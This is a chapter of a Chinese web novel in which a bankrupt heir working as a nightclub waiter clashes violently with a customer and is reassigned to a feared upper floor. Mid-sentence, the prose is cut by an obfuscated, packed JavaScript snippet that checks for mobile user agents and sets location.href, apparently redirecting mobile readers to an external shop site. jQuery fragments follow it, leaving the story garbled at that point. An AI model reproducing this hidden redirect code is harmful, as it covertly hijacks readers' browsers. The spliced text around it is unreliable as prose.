尤安蹲在新落座的客人旁边,微微仰脸注视客人的眼睛,昏暗暧昧的灯光洒在她漂亮白皙的侧脸,颊边的酒窝随着她嘴角的牵动若隐若现:“先生,您需要喝点什么?鸡尾酒还是……”
坐在真皮沙发上的客人不耐地打断她的介绍:“你们这儿是不是有个叫明昭的,让他过来。”
尤安表情顿了两秒又很快露出微笑,柔和询问:“是我的服务您有什么不满意吗?”
“我说话不够明白?”吴正熙垂眼冷冷地看她。
“您稍等,我去叫他。”尤安站起身,微笑着躬身离开。
快步走到后台,尤安脸上的笑立刻消失得一干二净:“傻逼。”
她按了按别在领口的对讲机:“明昭?”
对讲机那头嗯了一声,尤安才继续道:“47桌让你过去服务。”
那头又嗯了一声,疑问的语调。
“应该是来找你茬的。”尤安有些疲惫吐槽,“你到底招惹多少人啊,还没半个月,接待过的仇人比客人都多。”
对讲机那头轻笑了一声:“我现在过去,19桌你替我接会儿。”
明昭穿过人群,脚步落在46桌旁,47桌的声音就响了起来,“果真是明少啊。”
吴正熙笑嘻嘻道,“听人说明少在这儿陪酒卖笑,我还不信呢。”
他逗狗似的招了招手,戏谑地看着逐步走到近前的青年。
青年穿着修身的服务生制服,身形高挑修长,极其赏心悦目,群魔乱舞的环境中仍旧出挑得鹤立鸡群,冷淡的气质在燥热的氛围中愈加夺目。
只是这么高傲冷然的人似乎不应该出现在这里。
随行坐在他旁边岳扬哈哈笑起来:“明大少爷这张脸、这身段……啧啧,估计不只是卖笑吧,还在不少人床上卖过眼泪吧。”
明昭掀起耷拉的眼皮,于昏暗的灯光下抬眸看向说话的人。
明昭长相浓艳,相貌过浓以致到了锋利的程度,冰冷的眼神不偏不倚地投射在岳扬身上,岳扬一下被他的锐利的眼神唬住,顿时噤了声。
明昭随意捞过46桌上的空酒瓶,拿在手上抛了抛,冷淡轻蔑地扫过吴正熙和岳扬:“我掉不掉眼泪不知道,但这一瓶子下去你们应该会掉。”
“哈,命已经这么贱了骨头还是这么傲啊。”吴正熙脸上的笑瞬间消失得一干二净。
明昭唇角勾了一个假笑,冷冷地看着对面两个人:“没你贱,你算什么东西。”
46桌的客人看到明昭拿酒瓶的动作也没出声,不嫌事大地偏过脑袋和周围其他桌的人一起看明昭的热闹。
有什么能比这位大少爷的热闹更好看的?
不对,也不能再叫大少爷了。
只能算是曾经的大少爷。
毕竟明家已经破产,这位曾经明家的独苗大少爷已经从云端滚进泥里,人人都能上去踩一脚。
他们是六观庭会所的常客,这位大少爷还是上周刚来的,入水进油锅,来的第一天就引发了六观庭巨大的波动。来围观明昭落魄的人不计其数,所有人都没有预料到曾经眼高于顶的明家大少竟然会来这儿当服务生卖酒。
六观庭实行会员制,300万的会费是踏入这个销金窟的入场券。
他们能拿到六观庭的入场券,但在明家还没破产前,却拿不到在明大少爷跟前露脸的入场券,这位大少爷作为明家的独苗,从小在金堆玉砌的富贵堆里长大,眼高于顶,目空一切,在他身边所有人都是陪衬的命。
可惜落水的凤凰不如鸡。
这一个多星期以来,他们已经见过数不清的人来找明昭的麻烦,如果不是六观庭的老板权势够盛,估计大少爷的命就交代在这儿了。
吴正熙还真是没想到明昭都落魄到来夜场卖酒,还这么嚣张,在这么多人面前不给他任何面子。
他脸上过不去,目光逐渐阴冷地盯着明昭:“明昭,你这张脸我想揍太久了,被人踩在鞋底还能这么高高在上吗?”
明昭歪了歪脑袋,嘴角勾起一道弧度,漫不经心扫过他:“我也想看看你的脸被我踩在脚下是什么模样。”
明昭说话一如既往的欠收拾,吴正熙面目狰狞地动了动,站起身要抽上明昭的脸!
明昭是六观庭的重点关注对象,在他们口角刚起的时候,不远处的保镖早已经注意到他们,赶紧上前拦住吴正熙动作:“先生,这里是放松的地方,不允许打架。”
吴正熙怒气更盛,一脚踹在其中一个保镖腿上:“滚!一个服务生而已我偏偏就要打。”
六观庭3、4层是散台,消费达到一定的数,再交上一笔不菲的会费才有资格上5-24层的包厢,越往上的包厢会费更是逐层增高。
能来到六观庭的客人都非富即贵,身价不菲,在这里客户是上帝,但上帝也是有等级的,4层这儿的散客只能算是等级一般的“上帝”,要想折磨六观庭的工作人员在4层这里还不够格,努努力爬到12以上也就没人管了。
在吴正熙踏入这里的第一刻,他的关系网、身家已经悉数被传到每一个六观庭服务生、保镖的手上,这是保镖敢拦下他的原因。
而且明昭也不是能随便打的,其他的服务生被打了可能会因为客人的身份而忍过去。明昭字典里可没有忍这个字,上周这位脾气火爆的服务生已经和客人发生两次打架斗殴,如果不是他卖出的酒多估计已经被赶走了。
“这里不允许打架,如果您执意这么做,我们只能把你请出去。”保镖面无表情道。
“我看你敢不敢,你知道我是谁吗?”吴正熙双目愤怒地瞪面前的人。
保镖仍旧面无表情:“吴先生,这里不允许打架。”
吴正熙推了一把拦在跟前的人:“滚开!”
他一身肥肉,力气倒是不小,推得保镖一个趔趄,又狠狠朝他狠踹了两脚,
明昭啧了一声,用空酒瓶顶住他的胸膛:“需要老子给你上上家教课吗?”
旁边另一个保镖只顾防备岳扬去了,没防住明昭这个火药桶,瞬间头都大了。
干他们这行的,就是靠武力吃饭,平时和六观庭里细皮嫩肉的服务生不一样,平时摔摔打打习惯了,被推这么一下哪有什么紧要。
惹了客人不快才要命啊!
果然吴正熙登时睚眦欲裂,彻底被怒火点燃,举拳挥到明昭跟前!
明昭侧过身闪开,绕到吴正熙旁边,抬着手上的酒瓶往他脑袋上狠狠一砸!
“嘭!”
酒瓶瞬间四分五裂。
吴正熙脑袋上的鲜血缓缓从发丝间淌下。
周围一圈人都懵了,有不嫌事
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193843|197116||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大的吹了两声口哨:“帅啊!”
“明大少爷都出来卖酒了还打不过,够逊的!”这是对吴正熙说的。
吴正熙被砸得眼前一黑,保镖赶紧抱住他,背起吴正熙往二楼休息室走,二楼有时刻待命的医疗团队应对突发情况。
岳扬也被吴正熙满脸的血吓了一跳,临走前给明昭放了狠话,才急急忙忙跟着吴正熙往二楼跑。
-
“事不过三,这是你来六观庭的第八天,和客人发生三次肢体冲突,十五次口舌冲突。”
经理办公室内,经理黄炳坤皱着眉看向明昭:“下半场你去12楼。”
闻言,明昭挑了挑眉:“行。”
明昭答应得快,倒让黄炳坤若有所思地看了他一眼,难得笑了一下:“你长得好,好好伺候客人,钱不是问题。”
明昭不置可否,只道:“我今晚的提成都计到赵阳和刘帆账上。”
黄炳坤:“你倒是仗义。”
赵阳和刘帆就是刚才的两个保镖。
“再有下次,你就不必来了。”临走前,黄炳坤又警告了一次明昭。
明昭笑了笑:“再有下次,我命估计也交代在12楼了。”
12楼是六观庭的分水岭,12楼以上没人会管包厢里的权贵们对渺小如蝼蚁般的服务生做些什么。
所有服务生都清楚12楼以上是千万不能踏足的地方,12楼来钱来得快伤来得快,尊严去得也快。
不到万不得已没人想踏进12楼,很多人靠在12楼飞上枝头、身家百万,但更多人从里面伤痕累累地走出来。
那里既可能是天堂,也可能是地狱。
长得够漂亮才会拥有踏上12楼的机会,至于这个机会愿不愿意要全在于服务生的意思。六观庭不做强迫上12楼的事情,强迫服务生去伺候12楼的权贵们是一笔赔本买卖,如果服务生心生不快惹怒了大人物们就得不偿失了。
但一旦踏上了12楼,之后的事情就由不得服务生们了。
“你疯了你真的疯了……”几个同事听闻他上12楼的事情,难以置信地看着靠在墙边换衣服的明昭,“你知不知道12楼是什么地方?你这个性格上去就是送死,黄炳坤也疯了。”
12楼的制服与4层的不一样,上身是白色立领荷叶边衬衫配黑色的蝴蝶结领结,外加一件黑色修身马甲,下穿黑色西裤,黑色长袜,薄底的黑色皮鞋。
明昭毫无避讳解下原本的白色衬衫,白玉无瑕的上半身袒露在空气中,六块腹肌垒在腰间,他肩很宽,显得腰更是细窄。
明明长了一张艳丽的脸,周身的气质却很冷淡,狭长凤眼不带情绪扫过时令人心生畏惧,荷叶边领的制服穿在他身上少了柔美,多了几分少年感的清冷。
明昭低头系着扣子,不紧不慢地开口:“我不上去,黄炳坤还会让我待在这吗?”
同事停下踱步的动作,怔愣几秒反应过来:“操!”
六观庭确实不会强迫服务生上12楼,但明昭不一样,明昭惹的人太多,3、4层是肯定待不下去了。
12层以上的包厢都是专属,只要安排明昭不往和有过节的权贵的包厢里去,反而更好些。
明昭这张脸也实在长得让人不那么心甘情愿放手,反正黄炳坤是不那么甘心的。